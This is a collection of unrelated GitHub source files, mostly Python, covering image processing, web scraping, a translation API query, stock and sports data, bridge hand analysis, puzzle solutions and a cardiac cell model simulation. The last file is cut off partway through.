+{"seq_id":"29173073227","text":"#https://www.pyimagesearch.com/2017/02/20/text-skew-correction-opencv-python/\r\nimport cv2\r\nimport numpy as np\r\nimport sys\r\nsys.setrecursionlimit(100000)\r\n\r\ndef Flood(image, index, label, x, y, i):\r\n #The coordinate of first pixel is (x,y); The index of component is i\r\n (height, width)=image.shape[:2]\r\n list=[[x,y]]\r\n while (not list) == False:\r\n cx, cy = list.pop()\r\n index[cx, cy] = i\r\n label[cx, cy] = 1\r\n pixel = image[cx, cy]\r\n if cx - 1 >= 0 and index[cx - 1, cy] == 0 and image[cx - 1, cy] == pixel:\r\n list.append([cx - 1, cy])\r\n #Flood(image, index, x - 1, y, i, c, height, width)\r\n if cx + 1 < height and index[cx + 1, cy] == 0 and image[cx + 1, cy] == pixel:\r\n list.append([cx + 1, cy])\r\n #Flood(image, index, x + 1, y, i, c, height, width)\r\n if cy - 1 >= 0 and index[cx, cy - 1] == 0 and image[cx, cy - 1] == pixel:\r\n list.append([cx, cy - 1])\r\n #Flood(image, index, x, y - 1, i, c, height, width)\r\n if cy + 1 < width and index[cx, cy + 1] == 0 and image[cx, cy + 1] == pixel:\r\n list.append([cx, cy + 1])\r\n #Flood(image, index, x, y + 1, i, c, height, width)\r\n return index, label\r\n\r\ndef fourCornersSort(pts):\r\n \"\"\" Sort corners: top-left, bot-left, bot-right, top-right\r\n # Difference and sum of x and y value\r\n # Inspired by http://www.pyimagesearch.com\r\n diff = np.diff(pts, axis=1)\r\n summ = pts.sum(axis=1)\r\n\r\n # Top-left point has smallest sum...\r\n # np.argmin() returns INDEX of min\r\n return np.array([pts[np.argmin(summ)],\r\n pts[np.argmax(diff)],\r\n pts[np.argmax(summ)],\r\n pts[np.argmin(diff)]])\"\"\"\r\n max = np.max(pts, axis=0)\r\n min = np.min(pts, axis=0)\r\n topleft = np.array([min[0], min[1]])\r\n #topright = np.array([min[0], max[1]])\r\n #bottomleft = np.array([max[0], min[1]])\r\n bottomright = np.array([max[0], max[1]])\r\n return np.array([topleft,bottomright])\r\n\r\nif __name__ == '__main__':\r\n # Reading the input image\r\n img = cv2.imread('post_skew.png', 0)\r\n (h, w) = img.shape[:2]\r\n # Taking a matrix of size 5 as the kernel\r\n kernel = np.ones((5, 5), np.uint8)\r\n #gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\n gray = cv2.bitwise_not(img)\r\n\r\n # threshold the image, setting all foreground pixels to 255 and all background pixels to 0\r\n thresh = cv2.threshold(gray, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\r\n img_dilation = cv2.dilate(thresh, kernel, iterations=10)\r\n blur = cv2.GaussianBlur(img_dilation, (5, 5), 0)\r\n thresh = cv2.threshold(blur, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\r\n cv2.imwrite(\"binary_resultprojectivetrans.jpg\", thresh)\r\n\r\n #REQUIRE_GROUPING=img_dilation\r\n LABELED_OR_NOT=np.zeros([h,w])\r\n PIXEL_GROUP=np.zeros([h,w])\r\n\r\n\r\n #sum=0\r\n for i in range(h):\r\n for j in range(w):\r\n if thresh[i][j]==0:\r\n LABELED_OR_NOT[i][j] = 1\r\n #sum=sum+1\r\n\r\n\r\n num=0 #The index of component\r\n #while True:\r\n #r1 = np.int(np.random.random() * h) - 1\r\n #r2 = np.int(np.random.random() * w) - 1\r\n for r1 in range(h):\r\n for r2 in range(w):\r\n if LABELED_OR_NOT[r1][r2] == 0:\r\n print(r1,r2)\r\n num = num + 1\r\n print(num)\r\n PIXEL_GROUP, LABELED_OR_NOT=Flood(thresh, PIXEL_GROUP, LABELED_OR_NOT, r1, r2, num)\r\n\r\n\r\n '''\r\n cv2.namedWindow('Dilation', 0)\r\n cv2.imshow(\"Dilation\", img_dilation)\r\n cv2.waitKey(0)\r\n cv2.destroyAllWindows()'''\r\n list=[]\r\n point=[]\r\n for i in range(num):\r\n list.append([])\r\n point.append([])\r\n\r\n for i in range(h):\r\n for j in range(w):\r\n if PIXEL_GROUP[i][j] != 0:\r\n list[int(PIXEL_GROUP[i][j])-1].append([i,j])\r\n\r\n print(len(list))\r\n for i in range(num):\r\n point[i]=fourCornersSort(np.array(list[i]))\r\n\r\n\r\n cv2.imwrite(\"resultblock.jpg\", img)\r\n\r\n\r\n binary = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)[1]\r\n rowsplit = []\r\n for i in range(num):\r\n rowsplit.append([])\r\n threshold = 240\r\n for s in range(num):\r\n rowflag = 1\r\n for i in range(point[s][0][0], point[s][1][0]):\r\n sum = 0\r\n count = point[s][1][1] - point[s][0][1]\r\n for j in range(point[s][0][1], point[s][1][1]):\r\n sum = sum + binary[i][j]\r\n print(sum / count)\r\n if sum / count > threshold and rowflag == 0:\r\n continue\r\n elif sum / count > threshold and rowflag == 1: # just get out of the block\r\n rowsplit[s].append(i)\r\n rowflag = 0\r\n cv2.line(img, (point[s][0][1], i), (point[s][1][1], i), (0, 0, 0), 1)\r\n continue\r\n elif sum / count <= threshold and rowflag == 0: # just get into the block\r\n rowsplit[s].append(i)\r\n rowflag = 1\r\n cv2.line(img, (point[s][0][1], i), (point[s][1][1], i), (0, 0, 0), 1)\r\n continue\r\n else:\r\n continue\r\n for i in range(num):\r\n cv2.rectangle(img, (tuple(point[i][0])[1], tuple(point[i][0])[0]),\r\n (tuple(point[i][1])[1], tuple(point[i][1])[0]), 3)\r\n\r\n cv2.imwrite(\"resultsplitpaper.jpg\", img)","repo_name":"yunjuanwang/OCR-character-detection","sub_path":"slant.py","file_name":"slant.py","file_ext":"py","file_size_in_byte":5445,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"}
+{"seq_id":"30666916309","text":"# check py verion\n# check requests library\n# make query string\n\nimport json\nimport requests\nimport sys\n\nurl = \"http://fanyi.youdao.com/openapi.do\"\n\nconfigFile = \"config.json\"\ndef config(keyfrom,key):\n \"\"\"config key to config.json file\"\"\"\n payload = {\n \"keyfrom\":keyfrom,\n \"key\":key,\n \"type\":\"data\",\n \"doctype\":\"json\",\n \"version\":\"1.1\",\n }\n with open(configFile,\"w\") as cf:\n cf.write(json.dumps(payload))\n\n\ndef query(word):\n \"\"\"query word\"\"\"\n with open(configFile) as cf:\n payload = json.loads(cf.read())\n\t \n payload[\"q\"] = word\n resp = requests.get(url,params=payload)\n return resp.text\n# config(\"myiosworkflow\",\"884997728\")\n\ndef Query(word):\n\tpayload = {\n \"keyfrom\":\"myiosworkflow\",\n \"key\":\"884997728\",\n \"type\":\"data\",\n \"doctype\":\"json\",\n \"version\":\"1.1\",\n\t\t \"q\":word\n }\n\tresp = requests.get(url,params=payload)\n\tjsonObj = json.loads(resp.text)\n\treturn json.dumps(jsonObj,indent=4,ensure_ascii=False)\n\t#return resp.text\nprint(Query(sys.argv[1]))","repo_name":"sunliang711/alfredsync","sub_path":"Alfred.alfredpreferences/workflows/user.workflow.926FBC3E-D185-4154-9F58-FE9E02676ED8/yd.py","file_name":"yd.py","file_ext":"py","file_size_in_byte":1132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"1507036616","text":"class ClockController:\n def __init__(self, display):\n self._display = display\n self._state = ClockState(' ', ' ', ' ', ' ', colon=False)\n\n def update(self, digit0, digit1, digit2, digit3, colon=False):\n new_state = ClockState(digit0, digit1, digit2, digit3, colon)\n is_change = self._state.render_delta(new_state, self._display)\n self._state = new_state\n\n def get_state(self):\n return self._state\n\nclass ClockState:\n '''Treat this type as if it were immutable.'''\n def __init__(self, digit0, digit1, digit2, digit3, colon):\n # All values are taken from SevenSegment.DIGIT_VALUES.\n # Because we do not use decimal values, we do not store\n # a state for it.\n self.digit0 = digit0\n self.digit1 = digit1\n self.digit2 = digit2\n self.digit3 = digit3\n self.colon = colon\n\n def render_delta(self, new_state, display):\n is_change = False\n if self.digit0 != new_state.digit0:\n display.set_digit(0, new_state.digit0)\n is_change = True\n if self.digit1 != new_state.digit1:\n display.set_digit(1, new_state.digit1)\n is_change = True\n if self.digit2 != new_state.digit2:\n display.set_digit(2, new_state.digit2)\n is_change = True\n if self.digit3 != new_state.digit3:\n display.set_digit(3, new_state.digit3)\n is_change = True\n if self.colon != new_state.colon:\n display.set_colon(new_state.colon)\n is_change = True\n\n if is_change:\n display.write_display()\n return is_change\n","repo_name":"bolinfest/rpi-clock","sub_path":"src/segment7-service/ClockController.py","file_name":"ClockController.py","file_ext":"py","file_size_in_byte":1650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"18898588643","text":"import argparse\nfrom bs4 import BeautifulSoup\nfrom datetime import datetime\nimport locale\nfrom pymongo import MongoClient\nimport requests\nimport time\nimport tqdm\nimport traceback\n\nfrom modules import common\n\nTOTAL_PAGES = 10\nPOSTS_PER_PAGE = 40\nDELAY = 0.5\n\n# Загружает список новостей\ndef load_news(page):\n url = f'https://vlg-media.ru/wp-admin/admin-ajax.php?posts_per_page={POSTS_PER_PAGE}&page={page}&offset=0&order=DESC&orderby=date&action=alm_get_posts'\n r = requests.get(url)\n return r.json()\n\n# Парсит список новостей\ndef parse_news_list(html):\n # Парсим HTML\n soup = BeautifulSoup(html, 'lxml')\n news_tags = soup.find_all('li', class_='alm-item')\n\n parsed_news = []\n\n # Проходим по всем новостям\n for news_tag in news_tags:\n\n # Находим элемементы в разметке новости\n link_tag = news_tag.find('a')\n date_tag = news_tag.find('p', class_='entry-meta')\n date = datetime.strptime(date_tag.text, '%d %B, %Y')\n url =link_tag['href']\n # Добавляем запись\n news_item = {\n '_id': url, # используем URL в качестве ID\n 'title': link_tag.text,\n 'url': url,\n 'date': date\n }\n parsed_news.append(news_item)\n\n return parsed_news\n\n# Получает список новостей\ndef get_news_list(page):\n json = load_news(page)\n html = json['html']\n news = parse_news_list(html)\n return news\n\n# Загружает страницу новости\ndef load_news_details(url):\n r = requests.get(url)\n return r.text\n\n# Парсит страницу новости\ndef parse_news_details(news, html):\n soup = BeautifulSoup(html, 'lxml')\n article_tag = soup.find('article')\n short_text_tag = article_tag.find('p', class_='uk-text-lead')\n text_tag = article_tag.find('div', class_='entry-content')\n\n # Текст разделен на несколько тегов \n # Найдем все и соединим\n p_tags = text_tag.find_all('p')\n p_texts = [p.text for p in p_tags]\n text = ' '.join(p_texts)\n\n news['short_text'] = short_text_tag.text\n news['text'] = text\n\n# Поулчает дополнительную информацию о новости со страницы новости\ndef get_news_details(news):\n html = load_news_details(news['url'])\n parse_news_details(news, html)\n\n# Получает новости с заданной страницы\ndef get_news(page):\n news = get_news_list(page)\n for item in news:\n time.sleep(DELAY)\n get_news_details(item)\n\n return news\n\ndef insert_or_update(collection, news):\n for item in news:\n collection.update_one(\n {\"_id\": item['_id']},\n {'$set': item},\n upsert=True\n )\n\ndef main():\n # Устанавливаем русскую локаль для парсинга даты\n locale.setlocale(locale.LC_TIME, 'ru_RU.UTF-8')\n db = common.get_db()\n news_cl = db['news']\n\n for page in tqdm.tqdm(range(cfg.pages)):\n try:\n news = get_news(page)\n insert_or_update(news_cl, news)\n except:\n print(traceback.format_exc())\n\n\n# Парсинг аргументов командной строки\ndef parse_args():\n parser = argparse.ArgumentParser(description='Parse news from web site')\n parser.add_argument('-p', '--pages', type=str, default=TOTAL_PAGES,\n help='Number of pages to parse')\n\n return parser.parse_args()\n\nif __name__ == '__main__':\n cfg = parse_args()\n main()\n","repo_name":"baaazik/compling_kr","sub_path":"src/news_parser.py","file_name":"news_parser.py","file_ext":"py","file_size_in_byte":3699,"program_lang":"python","lang":"ru","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"}
+{"seq_id":"15450500912","text":"#!/usr/bin/env python3\n\nimport yfinance as yf\nimport os\nimport sys\nimport json\ninput_file = \"stocks.lst\"\noutput_file = \"report.csv\"\ndata_dir = \"./data\"\n\nif not os.path.exists(input_file):\n print(\"Input file %s not found\" % input_file)\n sys.exit(1)\n\n# Pull out interesting fields\nfields = [\n 'symbol',\n 'shortName',\n 'sector',\n 'industry',\n 'recommendationKey',\n 'currentPrice',\n 'shortRatio',\n 'fullTimeEmployees',\n 'marketCap',\n 'totalRevenue',\n 'revenueGrowth',\n 'ebitdaMargins',\n 'profitMargins',\n 'grossMargins',\n 'earningsGrowth',\n 'dividendYield',\n 'debtToEquity',\n 'forwardEps',\n 'trailingEps',\n 'trailingEps',\n 'forwardPE',\n 'pegRatio',\n]\n\n\nwith open(input_file, \"r\", encoding=\"utf-8\") as fh_tickers:\n with open(output_file, \"w\", encoding=\"utf-8\") as fh_report:\n # generate header\n record_line = ';'.join(fields)\n record_line += '\\n'\n fh_report.write(record_line)\n\n # loop through list of tickers\n while True:\n ticker = fh_tickers.readline().rstrip()\n if not ticker:\n break\n print(ticker)\n ticker_file = os.path.join(data_dir, '{0}.json'.format(ticker))\n if not os.path.exists(ticker_file):\n print(\"ticket data file not found: %s\" % ticker_file)\n print('Run \"./get_one.py {0}\" or \"./refresh-data.py\"'.format(ticker))\n continue\n\n # read and parse ticker data file\n json_data = open(ticker_file, \"r\", encoding=\"utf-8\").read()\n ticker_data = json.loads(json_data)\n\n # test data is valid\n if \"shortName\" not in ticker_data:\n print(\"data file is invalid and will be skipped (shortName not found): %s\" % ticker_file)\n continue\n\n # build record from fields\n record_list = []\n for field in fields:\n if field in ticker_data:\n record_list.append(str(ticker_data[field]))\n else:\n record_list.append(\"\")\n\n # write report line\n record_line = ';'.join(record_list)\n record_line += \"\\n\"\n fh_report.write(record_line)\n\n","repo_name":"msgarbossa/stock-research","sub_path":"create-csv.py","file_name":"create-csv.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"31340374071","text":"from selenium.common.exceptions import NoSuchElementException\n\n\ndef scrape_team_row(driver, team_row):\n\tleague_position = f'{team_row}/td[2]/span[1]'\n\tteam_name = f'{team_row}/td[3]'\t\n\tplayed = f'{team_row}/td[4]'\n\twon = f'{team_row}/td[5]'\n\tdrawn = f'{team_row}/td[6]'\n\tlost = f'{team_row}/td[7]'\n\tgoals_for = f'{team_row}/td[8]'\n\tgoals_against = f'{team_row}/td[9]'\n\tgoal_difference = f'{team_row}/td[10]'\n\tpoints = f'{team_row}/td[11]'\n\t\n\t#elems = [league_position, team_name, played, won, drawn, lost, goals_for, goals_against, goal_difference, points]\n\t#data = []\n\t#for elem in elems:\n\t\t#data.append(driver.find_element_by_xpath(elem).text)\n\t\n\tdata = [driver.find_element_by_xpath(elem).text for elem in elems]\n\t\n\tstats = {\n\t\t'league_position': data[0],\n\t\t'team_name': data[1],\n\t\t'played': data[2],\n\t\t'won': data[3],\n\t\t'drawn': data[4],\n\t\t'lost': data[5],\n\t\t'goals_for': data[6],\n\t\t'goals_against': data[7],\n\t\t'goal_difference': data[8],\n\t\t'points': data[9],\n\t}\n\treturn stats\n\t\n\ndef gather_team_stats(driver):\n\tteam_results = []\n\tchecking = True\n\tx = 1\n\twhile checking:\n\t\ttry:\n\t\t\tteam_row = f'//*[@id=\"mainContent\"]/div/div[1]/div[3]/div/div/div/table/tbody/tr[{x}]'\n\t\t\t\t\t\t\n\t\t\tstats = scrape_team_row(driver, team_row)\n\t\t\tteam_results.append(stats)\n\t\t\tx += 2\n\t\texcept NoSuchElementException:\n\t\t\tchecking = False\n\treturn team_results\n","repo_name":"hartleyn/fb_scraper","sub_path":"pl_table_scraper.py","file_name":"pl_table_scraper.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"29249528532","text":"class Solution:\n def numberOfPairs(self, nums: List[int]) -> List[int]:\n num_freq = Counter(nums)\n \n res = [0, 0]\n \n for v in num_freq.values():\n res[0] += (v // 2)\n res[1] += (v % 2)\n \n return res","repo_name":"shivaAcharya/LeetCode","sub_path":"2341-maximum-number-of-pairs-in-array/2341-maximum-number-of-pairs-in-array.py","file_name":"2341-maximum-number-of-pairs-in-array.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"24844483939","text":"# vi:set sw=4 ts=4 expandtab:\n# -*- coding: utf8 -*-\n\nimport sys\n\nsys.path.insert(0, \"../../\")\n\nfrom sdk.api.group_message import GroupMessage\nfrom sdk.exceptions import CoolsmsException\n\n## @brief This sample code demonstrate how to check group info through CoolSMS Rest API\nif __name__ == \"__main__\":\n\n # set api key, api secret\n api_key = \"#ENTER_YOUR_OWN#\"\n api_secret = \"#ENTER_YOUR_OWN#\"\n\n # group_id mandatory. must be filled\n group_id = \"GID57A82D462CBBF\" # Group ID\n\n cool = GroupMessage(api_key, api_secret)\n\n try:\n response = cool.send(group_id)\n print(\"Group ID : %s\" % response['group_id'])\n\n except CoolsmsException as e:\n print(\"Error Code : %s\" % e.code)\n print(\"Error Message : %s\" % e.msg)\n\n sys.exit()\n","repo_name":"coolsms/python-sdk","sub_path":"examples/group_message/send.py","file_name":"send.py","file_ext":"py","file_size_in_byte":777,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"68"}
+{"seq_id":"26062932958","text":"import re, glob, os\nimport calendar\nfrom matplotlib import pyplot as plt\nfrom collections import Counter\nimport pandas as pd\n\nboard = r'[[]Board\\s+[\"](\\d+)[\"]'\ndeal = r'[[]Deal\\s+[\"][NESW]:(.*)[\"][]]'\ndoubleDummyTricks = r'[[]DoubleDummyTricks\\s+[\"](.*)[\"]'\npd.set_option('display.width', 1000)\n#pd.set_option('display.max_rows', 500)\n\ndef getData(FILENAME):\n try:\n with open(FILENAME, \"r\") as f:\n allLines = f.readlines()\n return allLines\n except IOError as e:\n print(e)\n\ndef extractData(data):\n results = []\n for d in data:\n result = re.search(f'{board}', d)\n if result:\n h = {}\n h['board'] = result.group(1)\n\n result = re.search(f'{deal}', d)\n if result: \n h['deal'] = result.group(1)\n \n result = re.search(f'{doubleDummyTricks}', d)\n if result: \n h['tricks'] = result.group(1)\n results.append(h)\n return results\n\ndef hasDoubleDummyAnalysis(fileName):\n data = getData(fileName)\n try:\n result = re.search(f'{doubleDummyTricks}', \", \".join(data))\n if result:\n if result.group(1) == \"00000000000000000000\": \n print(f\"*** error in file\", end=\", \")\n return False\n except Exception as e:\n print(e)\n return bool(result)\n\ndef computeTotalTricks(results):\n TNTricks = []\n for result in results:\n tricks = [int(c, 16) for c in result['tricks']]\n NS = [(n+s)/2 for n, s in zip(tricks[0:5], tricks[5:10])]\n EW = [(e+w)/2 for e, w in zip(tricks[10:15], tricks[15:20])]\n TNTricks.append(max(NS) + max(EW))\n return TNTricks\n\ndef computeTotalTrumps(results):\n TNTrumps = []\n for result in results:\n hands = result['deal'].split()\n distributions = []\n for hand in hands:\n distributions.append([len(suit) for suit in hand.split('.')])\n NS = [n+s for n, s in zip(distributions[0], distributions[2])]\n EW = [e+w for e, w in zip(distributions[1], distributions[3])]\n TNTrumps.append(max(NS) + max(EW))\n return TNTrumps\n\n \ndef checkFilesForDoubleDummyInformation(pattern):\n listOfFiles = glob.glob(pattern)\n listOfFiles.sort()\n for fileName in listOfFiles:\n if not hasDoubleDummyAnalysis(fileName):\n year = fileName[8:12]\n month_idx = int(fileName[12:14])\n month = calendar.month_name[month_idx]\n day = fileName[14:16]\n print(f\"No double dummy analysis: {day} {month} {year} \")\n\ndef examinePointsFor_4S(pattern):\n def HCPs(hand):\n pts = 0\n for suit in hand:\n if 'A' in suit: pts += 4\n if 'K' in suit: pts += 3\n if 'Q' in suit: pts += 2\n if 'J' in suit: pts += 1\n return pts\n def distribution(hand):\n suitLengths = []\n for suit in hand:\n suitLengths.append(len(suit))\n return suitLengths\n\n listOfFiles = glob.glob(pattern)\n listOfFiles.sort()\n columns = ['ns_pts','ns_tricks','ns_trumps','ew_pts','ew_tricks','ew_trumps']\n df = pd.DataFrame(columns=columns)\n def best(d):\n biggest = 0\n big_d = {}\n for key in d:\n if d[key] > biggest: \n biggest = d[key]\n big_d = {key:d[key]}\n return big_d\n \n for fileName in listOfFiles:\n data = getData(fileName)\n results = extractData(data)\n for result in results:\n tricks = [int(c, 16) for c in result['tricks']]\n hands = result['deal'].split()\n N = HCPs(hands[0].split(\".\"))\n E = HCPs(hands[1].split(\".\"))\n S = HCPs(hands[2].split(\".\"))\n W = HCPs(hands[3].split(\".\"))\n NS_pts = N + S\n EW_pts = E + W\n tricks = [int(c, 16) for c in result['tricks']] # nt-S-H-D-C\n NS_tricks = {key:(n+s)/2.0 for key,n,s in zip([\"NT\",\"S\",\"H\",\"D\",\"C\"], tricks[0:5], tricks[5:10])}\n EW_tricks = {key:(e+w)/2.0 for key,e,w in zip([\"NT\",\"S\",\"H\",\"D\",\"C\"], tricks[10:15], tricks[15:20])}\n N = distribution(hands[0].split(\".\"))\n E = distribution(hands[1].split(\".\"))\n S = distribution(hands[2].split(\".\"))\n W = distribution(hands[3].split(\".\"))\n NS_trumps = {key:n+s for key,n,s in zip([\"S\",\"H\",\"D\",\"C\"],N,S)}\n EW_trumps = {key:e+w for key,e,w in zip([\"S\",\"H\",\"D\",\"C\"],E,W)}\n best_ns_tricks = best(NS_tricks)\n best_ew_tricks = best(EW_tricks)\n ns_tricks = list(best_ns_tricks.values())[0]\n ew_tricks = list(best_ew_tricks.values())[0]\n ns_suit = list(best_ns_tricks.keys())[0]\n ew_suit = list(best_ew_tricks.keys())[0]\n# print(f\"NS: tricks={ns_tricks}, trumps={NS_trumps[ns_suit]}, HCPs={NS_pts}\")\n# print(f\"EW: tricks={ew_tricks}, trumps={EW_trumps[ew_suit]}, HCPs={EW_pts}\")\n # columns = ['ns_pts','ns_tricks','ew_trumps','ew_pts','ew_tricks','ew_trumps']\n ns_trumps = 0 if ns_suit == \"NT\" else NS_trumps[ns_suit]\n ew_trumps = 0 if ew_suit == \"NT\" else EW_trumps[ew_suit]\n row = {k:v for k,v in zip(columns, [NS_pts, ns_tricks, ns_trumps, EW_pts, ew_tricks, ew_trumps])}\n df = df.append(row, ignore_index=True)\n\n return df\n\ndef showLAW(pattern):\n listOfFiles = glob.glob(pattern)\n listOfFiles.sort()\n allDifferences = []\n \n for fileName in listOfFiles:\n data = getData(fileName)\n results = extractData(data)\n totalTricks = computeTotalTricks(results)\n totalTrumps = computeTotalTrumps(results) \n differences = [tricks-trumps for tricks, trumps in zip(totalTricks, totalTrumps)]\n\n for i, difference in enumerate(differences):\n # if difference <= -10 then the data has been uploaded incorrectly and should be ignored\n if (difference < -2.5 and difference > -10) or (difference > 2.5): \n year = fileName[8:12]\n month_idx = int(fileName[12:14])\n month = calendar.month_name[month_idx]\n day = fileName[14:16]\n tricks = totalTricks[i]\n trumps = totalTrumps[i]\n mismatch = tricks - trumps\n print(f\"Board {i+1:2} has LAW: {tricks:4.1f}-{trumps:2}={mismatch:4.1f}, {day} {month} {year}\") \n allDifferences.extend(differences)\n \n # remove data that has been posted incorrectly\n allDifferences = [d for d in allDifferences if d > -10]\n\n # determine frequencies\n allDifferences.sort()\n counts = Counter(allDifferences)\n numberOfHands = len(allDifferences)\n print(f\"No of hands = {numberOfHands}\")\n\n # print frequencies as percentages\n for key in counts:\n print(\"TNT mismatch: {:6.1f} {:6.1f}\".format(key, counts[key]*100/numberOfHands))\n\n # plot results\n _, ax = plt.subplots()\n ax.bar(range(len(allDifferences)), allDifferences)\n plt.grid(True)\n plt.show()\n\nif __name__ == \"__main__\":\n os.chdir(\"results\")\n pattern = r\"laneend*\"\n checkFilesForDoubleDummyInformation(pattern)\n z = examinePointsFor_4S(pattern)\n print(z)\n# showLAW(pattern)\n","repo_name":"seddon-software/bridge","sub_path":"DoubleDummyAnalysis/analysePbnResults2.py","file_name":"analysePbnResults2.py","file_ext":"py","file_size_in_byte":7261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"5314486827","text":"\ndef parse_strategy_guide(strategy_guide):\n return [\n tuple(line.split()) \n for line in strategy_guide.strip().split('\\n')\n ]\n\ndef get_total_player_score(strategy_guide):\n rounds = parse_strategy_guide(strategy_guide)\n scores = [\n RockPaperScissorsRound(_round[0], _round[1]).get_player_score()\n for _round in rounds \n ]\n\n return sum(scores)\n\nclass RockPaperScissorsRound:\n shape_scores = {\n 'A': 1,\n 'X': 0,\n 'B': 2,\n 'Y': 3,\n 'C': 3,\n 'Z': 6\n }\n\n rules = {\n 'A': 'C',\n 'B': 'A',\n 'C': 'B',\n }\n\n rule_complement = {\n 'C': 'A',\n 'A': 'B',\n 'B': 'C'\n }\n\n def __init__(self, opponent_choice, outcome):\n self.opponent_choice = opponent_choice\n self.outcome = outcome\n\n def get_player_score(self):\n score = 0\n player_choice = None\n\n if self.outcome == 'X':\n player_choice = self.rules[self.opponent_choice]\n if self.outcome == 'Y':\n player_choice = self.opponent_choice\n if self.outcome == 'Z':\n player_choice = self.rule_complement[self.opponent_choice]\n\n return self.shape_scores[player_choice] + self.shape_scores[self.outcome]\n\n def get_opponent_score(self):\n score = 0\n\n if self.rules[self.opponent_choice] == self.player_choice:\n score += 6\n elif self.rules[self.player_choice] == self.opponent_choice:\n pass\n else:\n score += 3\n\n score += self.shape_scores[self.opponent_choice]\n return score \n\nif __name__ == \"__main__\":\n f = open(\"test_input\", \"r\")\n strategy_guide = f.read()\n f.close\n print(get_total_player_score(strategy_guide))\n","repo_name":"braedon2/AdventOfCode2022","sub_path":"day2/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":1769,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"32054891754","text":"import numpy as np\nimport io\nimport argparse\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--test\", action=\"store_true\")\n parser.add_argument(\"--verbose\", action=\"store_true\")\n\n args, _ = parser.parse_known_args()\n test = args.test\n verbose = args.verbose\n\n if test:\n infile = \"test_input\"\n else:\n infile = \"input\"\n \n with open(infile, \"r\") as f:\n lines = f.readlines()\n \n signals = []\n outputs = []\n len_to_digit = {\n 2: 1,\n 3: 7,\n 4: 4,\n 7: 8,\n }\n num_unique = 0\n for line in lines:\n signal = [s.strip() for s in line.split(\"|\")[0].split(\" \") if s != \"\"]\n output = [s.strip() for s in line.split(\"|\")[1].split(\" \") if s != \"\"]\n signals.append(signal)\n outputs.append(output)\n\n # for s in signal:\n # if len(s) in len_to_digit.keys():\n # num_unique += 1\n # print(s, end=\" \")\n for o in output:\n if len(o) in len_to_digit.keys():\n num_unique += 1\n if verbose:\n print(o, end=\" \")\n if verbose:\n print(\"\")\n \n print(num_unique)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"stevenstetzler/advent-of-code-2021","sub_path":"day_8/solution_15.py","file_name":"solution_15.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"}
+{"seq_id":"10595626573","text":"import ORdmm_Land_em_coupling as model\nfrom scipy.integrate import odeint\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport tqdm\nimport sys\n\nfrom drug_values import drug_dict\n\nnum_beats = 100\ntsteps = np.arange(0.0, 1000.0, 0.1) # real run 1000\npop_size = 1000\n\ndef run_population_drug(mech_type, hf_type, drug_type, part, cell_type='endo'):\n \"\"\"Run the population model with different drugs.\n \"\"\"\n # load random sampling values\n rand_val = np.load(f'init_pop/rand_sample_iso_control.npy')\n # load specific population\n y0s = np.load(f'init_pop/population_{mech_type}_{hf_type}.npy') \n # list for new population\n population_drug = []\n\n part_dict = {'1': [0,200], '2': [200,400], '3': [400,600], '4': [600,800], '5': [800,1000]}\n\n for i in range(part_dict[part][0], part_dict[part][1]):\n print(i)\n y0 = y0s[i]\n\n parameters = model.init_parameter_values(\n celltype=0 if cell_type == \"endo\" else 1 if cell_type == \"epi\" else 2,\n isometric=1 if mech_type=='iso' else 0,\n lmbda_set=1,\n #mechanical parameters\n ku_rate=rand_val[i][0],\n kuw_rate=rand_val[i][1],\n kws_rate=rand_val[i][2],\n ktrpn_rate=rand_val[i][3],\n Trpn50_rate=rand_val[i][4],\n gammaw_rate=rand_val[i][5],\n gammas_rate=rand_val[i][6],\n rs_rate=rand_val[i][7],\n rw_rate=rand_val[i][8],\n Tref_rate=rand_val[i][9],\n cat50ref_rate=rand_val[i][10],\n ntm_rate=rand_val[i][11],\n #HF parameters\n GNaL_rate=1.80 if hf_type=='gomez' else 1,\n Gto_rate=0.40 if hf_type=='gomez' else 1,\n GK1_rate=0.68 if hf_type=='gomez' else 1,\n Gncx_rate=1.750 if hf_type=='gomez' else 1,\n Jleak_rate=1.30 if hf_type=='gomez' else 1,\n Jserca_rate=0.5 if hf_type=='gomez' else 1,\n CaMKa_rate=1.50 if hf_type=='gomez' else 1,\n Pnak_rate=0.70 if hf_type=='gomez' else 1,\n Pnab_rate=1,\n Pcab_rate=1,\n thl_rate=1.80 if hf_type=='gomez' else 1,\n Jrel_inf_sensitivity=0.80 if hf_type=='gomez' else 1,\n Jrel_infp_sensitivity=0.80 if hf_type=='gomez' else 1,\n # drug parameters\n drug_INa=drug_dict[drug_type]['drug_INa'],\n IC50_INa=drug_dict[drug_type]['IC50_INa'],\n h_INa=drug_dict[drug_type]['h_INa'],\n drug_IKr=drug_dict[drug_type]['drug_IKr'],\n IC50_IKr=drug_dict[drug_type]['IC50_IKr'],\n h_IKr=drug_dict[drug_type]['h_IKr'],\n drug_ICaL=drug_dict[drug_type]['drug_ICaL'],\n IC50_ICaL=drug_dict[drug_type]['IC50_ICaL'],\n 